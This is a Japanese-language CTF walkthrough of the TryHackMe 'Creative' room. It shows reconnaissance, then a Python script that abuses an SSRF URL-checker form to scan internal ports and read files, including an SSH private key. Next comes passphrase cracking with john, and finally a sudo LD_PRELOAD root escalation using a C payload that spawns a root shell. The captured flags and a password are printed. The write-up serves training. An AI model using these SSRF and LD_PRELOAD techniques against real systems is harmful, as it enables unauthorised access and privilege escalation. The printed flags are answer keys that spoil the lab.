概要
TryHackMe「Creative」のWalkthroughです。
Task1
Q1.What is user.txt?
nmap
でポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV -p- 10.10.201.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 02:07 EDT
Nmap scan report for 10.10.201.51
Host is up (0.24s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
| 256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_ 256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://creative.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 371.37 seconds
ssh:22
,http:80
番ポートのオープンが確認できました。
Webサイトにアクセスしようとしたら名前解決エラーが出たので/etc/hosts
ファイルを編集します。
10.10.201.51 creative.thm
サイトにアクセスします。
ディレクトリを列挙します。
$ gobuster dir -u http://creative.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
/assets
が見つかりました。
/assets (Status: 301) [Size: 178] [--> http://creative.thm/assets/]
/assets
にアクセスすると403が返ってきました。
開発者ツールで確認すると、/assets
配下には画像ファイルやjsファイルの存在が分かりました。
しかし、攻撃の手掛かりになるものはありませんでした。
サブドメインを列挙します。
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://creative.thm -H "Host: FUZZ.creative.thm" -fc 301
beta
が見つかりました。
beta [Status: 200, Size: 591, Words: 91, Lines: 20, Duration: 252ms]
/etc/hosts
ファイルにサブドメインを追加します。
10.10.88.126 creative.thm beta.creative.thm
beta.creative.thm
にアクセスします。
フォームにURLを入れることでURLが存在するか確かめることが出来るようです。
試しにhttp://localhost:80
を入力すると、cretive.thm
のホームページが表示されました。
ローカルでHTTPサーバーを立て、PHPリバースシェルコードにアクセスさせてシェルの獲得を試みましたが、動作しませんでした。
しかし、フォームからhttp://localhost:<port>
を指定することで内部のサービスにアクセスできる可能性があります。
burpでブルートフォースしても良いのですが、無料版だと処理に時間がかかるのでpythonで実行します。
Burpでリクエストに必要なパラメータを取得します。
動作していないポートからのContent-Length
は13
で固定化されているようなのでこのレスポンスヘッダーでフィルタリングします。
import requests
for i in range(1, 65536):
headers = {
'Host': 'beta.creative.thm',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://beta.creative.thm',
'Connection': 'close',
'Referer': 'http://beta.creative.thm/',
'Upgrade-Insecure-Requests': '1'
}
data = f"url=http%3A%2F%2Flocalhost%3A{i}"
response = requests.post("http://beta.creative.thm", data=data, headers=headers)
content_length = response.headers.get('Content-Length')
if content_length != '13':
print(f"port: {i}")
80
の他に1337
ポートが見つかりました。
port: 80
port: 1337
http://localhost:1337
へアクセスすると/
配下のディレクトリを閲覧できるようになっていました。
http://localhost:1337/home/saad
の中にuser.txt
を見つけました。
http://localhost:1337/home/saad/user.txt
をフォームに入力してユーザーフラグゲットです。
A.9a1ce90a7653d74ab98630b47b8b4a84
Q2.What is root.txt?
http://localhost:1337/home/saad/.ssh/id_rsa
を見つけたのでローカルのファイルに保存します。
ssh接続を試みるとパスワードを求められました。
$ chmod 600 saad_id_rsa
$ ssh -i saad_id_rsa saad@10.10.88.126
Enter passphrase for key 'saad_id_rsa':
ssh2john
でハッシュ値に変換し、パスワードを特定します。
$ ssh2john saad_id_rsa > saad_hash.txt
$ john saad_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetness (saad_id_rsa)
1g 0:00:00:45 DONE (2024-06-11 13:20) 0.02187g/s 21.00p/s 21.00c/s 21.00C/s whitney..sandy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
パスワードが分かったのでsshでアクセスします。
saad@m4lware:~$ whoami
saad
ログインに成功しました。
権限昇格を試みます。
sudo -l
はパスワードが分からず、実行できませんでした。
$ sudo -l
[sudo] password for saad:
Sorry, try again.
SUID
で検索しましたが、めぼしいものは見つかりませんでした。
$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
調べていると.bash_hisotry
ファイルにパスワードが保存されているのを発見しました。
saad@m4lware:~$ cat .bash_history
whoami
pwd
ls -al
ls
cd ..
sudo -l
echo "saad:MyStrongestPasswordYet$4291" > creds.txt
sudo -l
が実行できました。
$ sudo -l
[sudo] password for saad:
Matching Defaults entries for saad on m4lware:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
env_keep+=LD_PRELOAD
User saad may run the following commands on m4lware:
(root) /usr/bin/ping
env_keep+=LD_PRELOAD
という興味深い設定があるので調べると権限昇格の脆弱性がありました。
HackTricksのテクニック通りに進めていきます。
まず、/tmp
配下にpe.c
ファイルを作成しました。
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
/tmp
に移動して作成したファイルをコンパイルします。
saad@m4lware:~$ cd /tmp
saad@m4lware:/tmp$ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
pe.c: In function ‘_init’:
pe.c:7:1: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
7 | setgid(0);
| ^~~~~~
pe.c:8:1: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
8 | setuid(0);
| ^~~~~~
root
権限でpingが実行できるので、それを利用して権限昇格に成功しました。
$ sudo LD_PRELOAD=./pe.so ping
root@m4lware:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
/root/root.txt
を閲覧してフラグゲットです。
root@m4lware:/tmp# ls -l /root
total 8
-rw------- 1 root root 33 Jan 21 2023 root.txt
drwx------ 3 root root 4096 Jan 20 2023 snap
root@m4lware:/tmp# cat /root/root.txt
992bfd94b90da48634aed182aae7b99f
A.992bfd94b90da48634aed182aae7b99f